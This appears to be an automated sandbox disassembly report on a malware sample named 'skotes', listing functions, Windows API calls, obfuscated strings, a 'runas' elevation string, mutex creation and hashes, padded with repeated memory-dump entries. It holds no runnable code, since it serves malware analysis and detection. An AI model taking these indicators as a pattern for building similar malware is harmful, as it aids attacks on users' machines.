Opcode Fuzzy Hash: 32a69adb28b3b08feb291ef1f42e3307a5ee27321ec1a83513bcf01d3917af1e
Instruction Fuzzy Hash: 17B1A0719401689FDB24DB54CC89BEEBB79BF04340F5402D8E508E72D2DB749BA88F55

Function 005F7D30 Relevance: 10.9, APIs: 1, Strings: 5, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 005F7ED3

Strings

JjssOl==, xrefs: 005F813A
JjsrQV==, xrefs: 005F8092
P`, xrefs: 005F7D3D
JjsrPl==, xrefs: 005F828A
JjssPV==, xrefs: 005F81E2

Memory Dump Source

Source File: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 0000000D.00000002.3455358650.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455454746.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455752337.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455841437.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455926145.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456439139.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456561304.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456896969.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457003668.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457140603.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457253557.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457377854.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457456021.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457579261.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457670576.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457762254.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457887096.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457989171.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458085030.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458172084.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458265438.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458340996.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458410612.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458484759.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458559562.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458646973.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458699497.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458749465.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458821122.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458937567.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459011257.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459070943.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459391566.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459561069.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459674775.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459806170.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460034997.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460112877.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460194102.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: JjsrPl==$JjsrQV==$JjssOl==$JjssPV==$P`
API String ID: 1721193555-68032254
Opcode ID: 4b5fbde6ac084bfe85823b2de72f57c9975b1bb8c61bb948685d570877f5f6a4
Instruction ID: 35dbc9451cd462ae95145701853eea75cb7600e04f10c9ba306b57827265358d
Opcode Fuzzy Hash: 4b5fbde6ac084bfe85823b2de72f57c9975b1bb8c61bb948685d570877f5f6a4
Instruction Fuzzy Hash: CCE10970E006599BDB14BB28CC5B3BE7F62BB46720F94068CE515673C2EB395E9487C2

Function 00631ABC Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00631775: CreateFileW.KERNEL32(00000000,00000000,?,00631B65,?,?,00000000,?,00631B65,00000000,0000000C), ref: 00631792

__dosmaperr.LIBCMT ref: 00631BD7
GetFileType.KERNEL32(00000000), ref: 00631BE3
__dosmaperr.LIBCMT ref: 00631BF6
__dosmaperr.LIBCMT ref: 00631D9C

Strings

H, xrefs: 00631D21

Memory Dump Source

Source File: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 0000000D.00000002.3455358650.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455454746.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455752337.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455841437.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455926145.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456439139.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456561304.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456896969.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457003668.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457140603.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457253557.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457377854.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457456021.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457579261.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457670576.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457762254.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457887096.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457989171.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458085030.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458172084.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458265438.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458340996.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458410612.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458484759.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458559562.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458646973.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458699497.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458749465.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458821122.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458937567.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459011257.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459070943.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459391566.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459561069.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459674775.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459806170.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460034997.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460112877.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460194102.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: __dosmaperr$File$CreateType
String ID: H
API String ID: 3443242726-2852464175
Opcode ID: cb54ee4b842008774036b4e43fd57701a301180cb854d7fe5d99acecb7f6806b
Instruction ID: c656d9d8682b1b425069f05e7ec4c9202822ab0eda6f0bd0b35767213c02d020
Opcode Fuzzy Hash: cb54ee4b842008774036b4e43fd57701a301180cb854d7fe5d99acecb7f6806b
Instruction Fuzzy Hash: 43A1F232A141588FCF19DF68DD91BAE7BA2AF07320F14119DE812AF3D1DA358912CB95

Function 005F7590 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 224
sleepthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064,48DB0D2B,?,00000000,00639138,000000FF), ref: 005F75CC
CreateThread.KERNEL32(00000000,00000000,005F7430,00658638,00000000,00000000,?,?,?,?,?,?,?,?), ref: 005F76BF
Sleep.KERNEL32(000001F4,?,?,?,?,?,?,?,?,?,?,?,?), ref: 005F76C9

Strings

runas, xrefs: 005F7303

Memory Dump Source

Source File: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 0000000D.00000002.3455358650.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455454746.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455752337.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455841437.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455926145.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456439139.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456561304.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456896969.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457003668.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457140603.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457253557.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457377854.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457456021.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457579261.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457670576.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457762254.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457887096.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457989171.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458085030.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458172084.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458265438.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458340996.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458410612.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458484759.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458559562.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458646973.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458699497.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458749465.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458821122.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458937567.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459011257.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459070943.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459391566.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459561069.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459674775.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459806170.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460034997.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460112877.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460194102.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Sleep$CreateThread
String ID: runas
API String ID: 3220764680-4000483414
Opcode ID: 734d8677c2f5616f5482f123dbb714dc537d2a2add083b9646f642c9c07bbe8f
Instruction ID: 3710f12cff58324c1874dd4d59c0493e6e0f65dff934179b2da96cbf25133a7e
Opcode Fuzzy Hash: 734d8677c2f5616f5482f123dbb714dc537d2a2add083b9646f642c9c07bbe8f
Instruction Fuzzy Hash: 5C71F13061424CEFEB08DF68CD85BAE7FA6EB09304F508519F911673C2CB79A984CB95

Function 006326F2 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 172
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,00646758), ref: 0063275C

Strings

Eastern Standard Time, xrefs: 006327CB
Xgd, xrefs: 00632705, 0063270B
Eastern Summer Time, xrefs: 006327FA

Memory Dump Source

Source File: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 0000000D.00000002.3455358650.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455454746.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455752337.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455841437.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455926145.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456439139.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456561304.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456896969.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457003668.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457140603.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457253557.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457377854.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457456021.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457579261.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457670576.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457762254.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457887096.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457989171.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458085030.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458172084.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458265438.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458340996.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458410612.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458484759.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458559562.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458646973.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458699497.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458749465.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458821122.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458937567.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459011257.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459070943.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459391566.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459561069.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459674775.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459806170.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460034997.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460112877.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460194102.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: InformationTimeZone
String ID: Eastern Standard Time$Eastern Summer Time$Xgd
API String ID: 565725191-2667187983
Opcode ID: ed3facaebf2207cf04166be1cbc5ed99b8080039a8c17b597a4f25c441c5815f
Instruction ID: d76512ce7784cac67b0a1e8c5c24bdbcf5ca45368fc467284b1929f4992e1364
Opcode Fuzzy Hash: ed3facaebf2207cf04166be1cbc5ed99b8080039a8c17b597a4f25c441c5815f
Instruction Fuzzy Hash: C6510471900316ABDB10EF69DC919AE77BEEF41310F50126EF510A32A1EB309E45CBD4

Function 00626FB4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNEL32(?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00626EE6), ref: 00626FD6
GetFileInformationByHandle.KERNEL32(?,?), ref: 00627030
__dosmaperr.LIBCMT ref: 006270C5

Part of subcall function 0062732A: __dosmaperr.LIBCMT ref: 0062735F

Strings

nb, xrefs: 00626FCE

Memory Dump Source

Source File: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 0000000D.00000002.3455358650.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455454746.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455752337.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455841437.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455926145.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456439139.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456561304.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456896969.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457003668.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457140603.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457253557.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457377854.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457456021.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457579261.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457670576.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457762254.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457887096.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457989171.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458085030.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458172084.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458265438.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458340996.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458410612.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458484759.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458559562.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458646973.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458699497.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458749465.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458821122.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458937567.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459011257.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459070943.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459391566.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459561069.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459674775.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459806170.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460034997.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460112877.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460194102.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: File__dosmaperr$HandleInformationType
String ID: nb
API String ID: 2531987475-3170095809
Opcode ID: 665e4abece866c0633565e98878cb6db219f458f2fda9d12d5f5ff31071a6118
Instruction ID: 918c163112e40a042dc94ca3660062da188f6147f6e584487ec072587ab7760d
Opcode Fuzzy Hash: 665e4abece866c0633565e98878cb6db219f458f2fda9d12d5f5ff31071a6118
Instruction Fuzzy Hash: 3E417DB1904A18ABDB24DFB5EC45DAFB7FAEF89300B10452DF856D3610EA309944CF25

Function 005F9BA5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 005F9BA8
Sleep.KERNEL32(00000064,?), ref: 005FA963
CreateMutexA.KERNEL32(00000000,00000000,00653254), ref: 005FA981

Strings

T2e, xrefs: 005FA970

Memory Dump Source

Source File: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 0000000D.00000002.3455358650.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455454746.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455752337.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455841437.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455926145.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456439139.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
